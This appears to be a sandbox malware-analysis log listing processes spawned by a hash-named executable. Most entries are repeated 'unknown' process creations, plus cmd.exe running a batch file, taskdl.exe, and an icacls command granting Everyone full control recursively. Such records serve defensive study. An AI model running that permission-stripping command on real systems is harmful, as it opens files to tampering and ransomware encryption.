              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c 36751721951490.batJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Users\user\Desktop\taskdl.exe taskdl.exeJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: C:\Windows\SysWOW64\icacls.exe icacls . /grant Everyone:F /T /C /QJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
              Source: C:\Users\user\Desktop\ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa.exeProcess created: unknown unknownJump to behavior
